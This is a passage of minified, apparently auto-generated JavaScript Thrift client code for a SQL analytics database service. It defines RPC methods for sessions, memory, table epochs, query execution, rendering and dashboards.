this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_stop_heap_profile(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new et;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}get_heap_profile(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_heap_profile(w)})}send_get_heap_profile(w){const g=new this.pClass(this.output),h={session:w},T=new Zt(h);try{return g.writeMessageBegin("get_heap_profile",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_heap_profile(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new kn;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_heap_profile failed: unknown result")}get_memory(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_memory(w,g)})}send_get_memory(w,g){const h=new this.pClass(this.output),T={session:w,memory_level:g},_=new Yi(T);try{return h.writeMessageBegin("get_memory",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_memory(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new fe;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_memory failed: unknown result")}clear_cpu_memory(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_clear_cpu_memory(w)})}send_clear_cpu_memory(w){const g=new this.pClass(this.output),h={session:w},T=new oi(h);try{return g.writeMessageBegin("clear_cpu_memory",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_clear_cpu_memory(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new jn;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}clear_gpu_memory(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_clear_gpu_memory(w)})}send_clear_gpu_memory(w){const g=new this.pClass(this.output),h={session:w},T=new ur(h);try{return g.writeMessageBegin("clear_gpu_memory",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_clear_gpu_memory(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new ln;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}set_cur_session(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_set_cur_session(w,g,h,T,_)})}send_set_cur_session(w,g,h,T,_){const v=new this.pClass(this.output),B={parent_session:w,leaf_session:g,start_time_str:h,label:T,for_running_query_kernel:_},Q=new cl(B);try{return v.writeMessageBegin("set_cur_session",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_set_cur_session(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new dl;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}invalidate_cur_session(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_invalidate_cur_session(w,g,h,T,_)})}send_invalidate_cur_session(w,g,h,T,_){const v=new this.pClass(this.output),B={parent_session:w,leaf_session:g,start_time_str:h,label:T,for_running_query_kernel:_},Q=new Ts(B);try{return v.writeMessageBegin("invalidate_cur_session",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_invalidate_cur_session(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new fl;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}set_table_epoch(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_set_table_epoch(w,g,h,T)})}send_set_table_epoch(w,g,h,T){const _=new this.pClass(this.output),v={session:w,db_id:g,table_id:h,new_epoch:T},B=new N(v);try{return _.writeMessageBegin("set_table_epoch",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_set_table_epoch(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new I;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}set_table_epoch_by_name(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_set_table_epoch_by_name(w,g,h)})}send_set_table_epoch_by_name(w,g,h){const T=new this.pClass(this.output),_={session:w,table_name:g,new_epoch:h},v=new A(_);try{return T.writeMessageBegin("set_table_epoch_by_name",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_set_table_epoch_by_name(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new U;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}get_table_epoch(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_table_epoch(w,g,h)})}send_get_table_epoch(w,g,h){const T=new this.pClass(this.output),_={session:w,db_id:g,table_id:h},v=new Z(_);try{return T.writeMessageBegin("get_table_epoch",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_table_epoch(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new ee;return _.read(w),w.readMessageEnd(),_.success!==null?T(null,_.success):T("get_table_epoch failed: unknown result")}get_table_epoch_by_name(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_table_epoch_by_name(w,g)})}send_get_table_epoch_by_name(w,g){const h=new this.pClass(this.output),T={session:w,table_name:g},_=new ne(T);try{return h.writeMessageBegin("get_table_epoch_by_name",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_table_epoch_by_name(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Be;return _.read(w),w.readMessageEnd(),_.success!==null?T(null,_.success):T("get_table_epoch_by_name failed: unknown result")}get_table_epochs(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_table_epochs(w,g,h)})}send_get_table_epochs(w,g,h){const T=new this.pClass(this.output),_={session:w,db_id:g,table_id:h},v=new je(_);try{return T.writeMessageBegin("get_table_epochs",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_table_epochs(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Ue;return _.read(w),w.readMessageEnd(),_.success!==null?T(null,_.success):T("get_table_epochs failed: unknown result")}set_table_epochs(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_set_table_epochs(w,g,h)})}send_set_table_epochs(w,g,h){const T=new this.pClass(this.output),_={session:w,db_id:g,table_epochs:h},v=new Ye(_);try{return T.writeMessageBegin("set_table_epochs",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_set_table_epochs(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}new Xe().read(w),w.readMessageEnd(),T(null)}get_session_info(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_session_info(w)})}send_get_session_info(w){const g=new this.pClass(this.output),h={session:w},T=new ul(h);try{return g.writeMessageBegin("get_session_info",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_session_info(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new g3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_session_info failed: unknown result")}get_queries_info(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_queries_info(w)})}send_get_queries_info(w){const g=new this.pClass(this.output),h={session:w},T=new gx(h);try{return g.writeMessageBegin("get_queries_info",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_queries_info(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new _3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_queries_info failed: unknown result")}set_leaf_info(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_set_leaf_info(w,g)})}send_set_leaf_info(w,g){const h=new this.pClass(this.output),T={session:w,leaf_info:g},_=new _x(T);try{return h.writeMessageBegin("set_leaf_info",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_set_leaf_info(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new p3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}sql_execute(w,g,h,T,_,v){this._seqid=this.new_seqid();const B=this;return new Promise((Q,pe)=>{B._reqs[B.seqid()]=($e,sn)=>$e?pe($e):Q(sn),B.send_sql_execute(w,g,h,T,_,v)})}send_sql_execute(w,g,h,T,_,v){const B=new this.pClass(this.output),Q={session:w,query:g,column_format:h,nonce:T,first_n:_,at_most_n:v},pe=new px(Q);try{return B.writeMessageBegin("sql_execute",a.MessageType.CALL,this.seqid()),pe.write(B),B.writeMessageEnd(),this.output.flush()}catch($e){throw delete this._reqs[this.seqid()],typeof B.reset=="function"&&B.reset(),$e}}recv_sql_execute(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new y3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("sql_execute failed: unknown result")}sql_execute_df(w,g,h,T,_,v){this._seqid=this.new_seqid();const B=this;return new Promise((Q,pe)=>{B._reqs[B.seqid()]=($e,sn)=>$e?pe($e):Q(sn),B.send_sql_execute_df(w,g,h,T,_,v)})}send_sql_execute_df(w,g,h,T,_,v){const B=new this.pClass(this.output),Q={session:w,query:g,device_type:h,device_id:T,first_n:_,transport_method:v},pe=new yx(Q);try{return B.writeMessageBegin("sql_execute_df",a.MessageType.CALL,this.seqid()),pe.write(B),B.writeMessageEnd(),this.output.flush()}catch($e){throw delete this._reqs[this.seqid()],typeof B.reset=="function"&&B.reset(),$e}}recv_sql_execute_df(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new m3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("sql_execute_df failed: unknown result")}sql_execute_gdf(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_sql_execute_gdf(w,g,h,T)})}send_sql_execute_gdf(w,g,h,T){const _=new this.pClass(this.output),v={session:w,query:g,device_id:h,first_n:T},B=new mx(v);try{return _.writeMessageBegin("sql_execute_gdf",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_sql_execute_gdf(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new w3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("sql_execute_gdf failed: unknown result")}deallocate_df(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_deallocate_df(w,g,h,T)})}send_deallocate_df(w,g,h,T){const _=new this.pClass(this.output),v={session:w,df:g,device_type:h,device_id:T},B=new wx(v);try{return _.writeMessageBegin("deallocate_df",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_deallocate_df(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new L3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}interrupt(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_interrupt(w,g)})}send_interrupt(w,g){const h=new this.pClass(this.output),T={query_session:w,interrupt_session:g},_=new Lx(T);try{return h.writeMessageBegin("interrupt",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_interrupt(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new b3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}sql_validate(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_sql_validate(w,g)})}send_sql_validate(w,g){const h=new this.pClass(this.output),T={session:w,query:g},_=new bx(T);try{return h.writeMessageBegin("sql_validate",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_sql_validate(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new T3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("sql_validate failed: unknown result")}get_completion_hints(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_completion_hints(w,g,h)})}send_get_completion_hints(w,g,h){const T=new this.pClass(this.output),_={session:w,sql:g,cursor:h},v=new Tx(_);try{return T.writeMessageBegin("get_completion_hints",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_completion_hints(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new v3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_completion_hints failed: unknown result")}set_execution_mode(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_set_execution_mode(w,g)})}send_set_execution_mode(w,g){const h=new this.pClass(this.output),T={session:w,mode:g},_=new vx(T);try{return h.writeMessageBegin("set_execution_mode",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_set_execution_mode(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new E3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}render_vega(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_render_vega(w,g,h,T,_)})}send_render_vega(w,g,h,T,_){const v=new this.pClass(this.output),B={session:w,widget_id:g,vega_json:h,compression_level:T,nonce:_},Q=new Ex(B);try{return v.writeMessageBegin("render_vega",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_render_vega(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new S3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("render_vega failed: unknown result")}get_result_row_for_pixel(w,g,h,T,_,v,B){this._seqid=this.new_seqid();const Q=this;return new Promise((pe,$e)=>{Q._reqs[Q.seqid()]=(sn,fo)=>sn?$e(sn):pe(fo),Q.send_get_result_row_for_pixel(w,g,h,T,_,v,B)})}send_get_result_row_for_pixel(w,g,h,T,_,v,B){const Q=new this.pClass(this.output),pe={session:w,widget_id:g,pixel:h,table_col_names:T,column_format:_,pixelRadius:v,nonce:B},$e=new Sx(pe);try{return Q.writeMessageBegin("get_result_row_for_pixel",a.MessageType.CALL,this.seqid()),$e.write(Q),Q.writeMessageEnd(),this.output.flush()}catch(sn){throw delete this._reqs[this.seqid()],typeof Q.reset=="function"&&Q.reset(),sn}}recv_get_result_row_for_pixel(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new x3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_result_row_for_pixel failed: unknown result")}create_custom_expression(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_create_custom_expression(w,g)})}send_create_custom_expression(w,g){const h=new this.pClass(this.output),T={session:w,custom_expression:g},_=new xx(T);try{return h.writeMessageBegin("create_custom_expression",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_create_custom_expression(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new k3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("create_custom_expression failed: unknown result")}get_custom_expressions(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_custom_expressions(w)})}send_get_custom_expressions(w){const g=new this.pClass(this.output),h={session:w},T=new kx(h);try{return g.writeMessageBegin("get_custom_expressions",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_custom_expressions(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new B3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_custom_expressions failed: unknown result")}update_custom_expression(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_update_custom_expression(w,g,h)})}send_update_custom_expression(w,g,h){const T=new this.pClass(this.output),_={session:w,id:g,expression_json:h},v=new Bx(_);try{return T.writeMessageBegin("update_custom_expression",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_update_custom_expression(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new F3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}delete_custom_expressions(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_delete_custom_expressions(w,g,h)})}send_delete_custom_expressions(w,g,h){const T=new this.pClass(this.output),_={session:w,custom_expression_ids:g,do_soft_delete:h},v=new Fx(_);try{return T.writeMessageBegin("delete_custom_expressions",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_delete_custom_expressions(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new I3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}get_dashboard(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_dashboard(w,g)})}send_get_dashboard(w,g){const h=new this.pClass(this.output),T={session:w,dashboard_id:g},_=new Ix(T);try{return h.writeMessageBegin("get_dashboard",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_dashboard(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new O3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_dashboard failed: unknown result")}get_dashboards(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_dashboards(w)})}send_get_dashboards(w){const g=new this.pClass(this.output),h={session:w},T=new Ox(h);try{return g.writeMessageBegin("get_dashboards",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_dashboards(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new M3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_dashboards failed: unknown result")}create_dashboard(w,g,h,T,_){this._seqid=this.new_seqid();const v=this;return new Promise((B,Q)=>{v._reqs[v.seqid()]=(pe,$e)=>pe?Q(pe):B($e),v.send_create_dashboard(w,g,h,T,_)})}send_create_dashboard(w,g,h,T,_){const v=new this.pClass(this.output),B={session:w,dashboard_name:g,dashboard_state:h,image_hash:T,dashboard_metadata:_},Q=new Mx(B);try{return v.writeMessageBegin("create_dashboard",a.MessageType.CALL,this.seqid()),Q.write(v),v.writeMessageEnd(),this.output.flush()}catch(pe){throw delete this._reqs[this.seqid()],typeof v.reset=="function"&&v.reset(),pe}}recv_create_dashboard(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new A3;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("create_dashboard failed: unknown result")}replace_dashboard(w,g,h,T,_,v,B){this._seqid=this.new_seqid();const Q=this;return new Promise((pe,$e)=>{Q._reqs[Q.seqid()]=(sn,fo)=>sn?$e(sn):pe(fo),Q.send_replace_dashboard(w,g,h,T,_,v,B)})}send_replace_dashboard(w,g,h,T,_,v,B){const Q=new this.pClass(this.output),pe={session:w,dashboard_id:g,dashboard_name:h,dashboard_owner:T,dashboard_state:_,image_hash:v,dashboard_metadata:B},$e=new Ax(pe);try{return Q.writeMessageBegin("replace_dashboard",a.MessageType.CALL,this.seqid()),$e.write(Q),Q.writeMessageEnd(),this.output.flush()}catch(sn){throw delete this._reqs[this.seqid()],typeof Q.reset=="function"&&Q.reset(),sn}}recv_replace_dashboard(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new N3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}delete_dashboard(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_delete_dashboard(w,g)})}send_delete_dashboard(w,g){const h=new this.pClass(this.output),T={session:w,dashboard_id:g},_=new Nx(T);try{return h.writeMessageBegin("delete_dashboard",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_delete_dashboard(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new C3;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}share_dashboards(w,g,h,T){this._seqid=this.new_seqid();const _=this;return new Promise((v,B)=>{_._reqs[_.seqid()]=(Q,pe)=>Q?B(Q):v(pe),_.send_share_dashboards(w,g,h,T)})}send_share_dashboards(w,g,h,T){const _=new this.pClass(this.output),v={session:w,dashboard_ids:g,groups:h,permissions:T},B=new Cx(v);try{return _.writeMessageBegin("share_dashboards",a.MessageType.CALL,this.seqid()),B.write(_),_.writeMessageEnd(),this.output.flush()}catch(Q){throw delete this._reqs[this.seqid()],typeof _.reset=="function"&&_.reset(),Q}}recv_share_dashboards(w,g,h){const 